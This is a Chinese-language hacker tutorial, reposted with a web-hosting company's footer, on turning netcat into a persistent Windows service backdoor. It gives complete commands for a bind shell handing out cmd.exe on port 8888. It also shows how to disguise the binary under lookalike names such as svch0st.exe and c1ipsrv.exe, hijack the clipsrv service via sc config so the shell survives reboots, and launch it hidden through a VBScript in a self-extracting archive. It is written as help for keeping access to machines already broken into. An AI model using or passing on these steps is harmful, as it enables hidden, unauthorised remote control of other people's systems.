文章作者: 剑心
大家都知道nc是个强大并且灵活的黑客工具,用他能够做很多事情,譬如做为telnet的客户端口,譬如入侵的时候反弹回来shell,譬如扫描……但是您有没有想过将他打造成一个服务级的后门呢?现在好多跟我相同的菜鸟还不懂得编程,别人写的流行点的后门又经常被杀,那就跟我一起来自己手工制作一个后门吧,无需任何编程知识菜鸟级的东东哦。
首先请准备好不被杀的nc.exe(随便加个壳就能够了的),更有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就能够打造我们自己的后门了,后门的需要我想无需很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就能够了,有了cmdshell做什么不能够呢。假如您需要反弹的后门,也能够做到,自己注册个域名就能够用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就能够看到,我们主要用到的几个参数如下:
-e 绑定一个程式并且连接时执行
-l 监听模式
-p 指定nc要运行的本地端口
-L 增强了的监听模式,当连接断开时再次监听
至于其他的用法相信各位已很了解了的,我们以前经常用到的是
nc -l -e cmd.exe -p 8888 /监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell/
这样的形式用serveru等溢出程式执行后来绑定一个能够得到shell的端口8888,我们telnet或nc连接上来的时候就能够直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L能够一直保持监听的状态,能够反复连接。用
nc -L -e cmd.exe -p 8888 /也是绑定的,但是加强了的/
这样的命令就已达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何确保nc再机器重起之后还能够工作从而实现我们的后门的目的呢?您能够把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!
首先我们将nc.exe放到%systemroot%system32下面,起名叫svch0st.exe或放到%systemroot%system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就能够了,我们就改那个clipsrv.exe服务吧!命令如下:
sc config clipsrv start= auto /将clipsrv.exe服务配置为自动/
sc config clipsrv binpath= "c:winntsystem32svch0st.exe -L -e cmd.exe -p 8888" /配置clipsrv.exe服务的启动路径为我们的nc/
sc start clipsrv /启动clipsrv.exe服务/
嘿嘿,但是看看结果吧!看看服务里的显示信息,如图一,很显眼哦!不管,先启动服务然后
netstat -an|find "8888" /netstat -an的结果中查找8888看我们的程式是否运行/
如图二。的确是已被打开了,但是当显示服务没有响应的时候nc的进程被结束了,这是Windows服务管理机制吧。不是很成功呵,我们继续改造!不懂编程的我们这个时候就会很郁闷,因为不能让服务停止响应的时候我开始想用bat2exe.exe,但是启动服务的时候总是出现拒绝访问的错误,大概是bat2exe出来的exe文档不被系统服务格式所支持,只能想其他的办法了,于是我想到了用Winrar.exe来做我们自己的exe文档,这总该被服务的可执行文档支持吧!至于如何实现编程里的子进程在父进程终止后仍然能够在内存中运行,我用的方法是写个run.vbs然后用cscript.exe来调用,至于如何调用就能够在自解压格式里配置解压后运行cscript.exe run.vbs,如图三。其中Run.vbs里的内容如下:
dim sh /定义变量/
set sh=createobject("wscript.shell") /取得WSH对象/
sh.run "nc -L -e cmd.exe -p 8888",0 /执行我们的程式并隐藏错误/
而自解压的路径写上%systemroot%system32,这样我们自解压服务程式就做好了,保存为c1ipsrv.exe(不好意思,还是用那个1和l的把戏),放到c:winntsystem32目录下面。现在修改我们的clipsrv剪切薄服务的具体路径为c:winntsystem32c1ipsrv.exe,命令如下:
sc stop clipsrv /将clipsrv.exe服务配置为自动/
sc config clipsrv start= auto
sc config clipsrv binpath= "c:winntsystem32c1ipsrv.exe" /配置clipsrv.exe服务的启动路径为我们的nc/
sc start clipsrv /启动clipsrv.exe服务/
现在一切OK了,这样以来我们的程式的参数细节还会被屏蔽,比开始的参数直接放到执行文档路径里好多了。我们来实验下。先net start clipsrv,然后netstat -an|find "8888"看看开没开8888端口,最后用nc 127.0.0.1 8888连接上去得到shell了呵!如图四。好了,快去体验自己动手的快乐哦,您还能够作其他的事情,只要您的服务的程式做的够好,甚至能够用反向回来的nc,具体我就不写了。
本文是我看了韩的一个动画之后想到的,后来自己想到完万能够将nc改成后门的,但是也还是有很大的缺陷,毕竟不是编程,因为不能返回信息给服务控制器,会在日志里留一些错误,但是,有多少人去在意这些错误呢?更有就是没有身份验证功能,但是端口能够自定义不知道算不算一个身份验证。
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




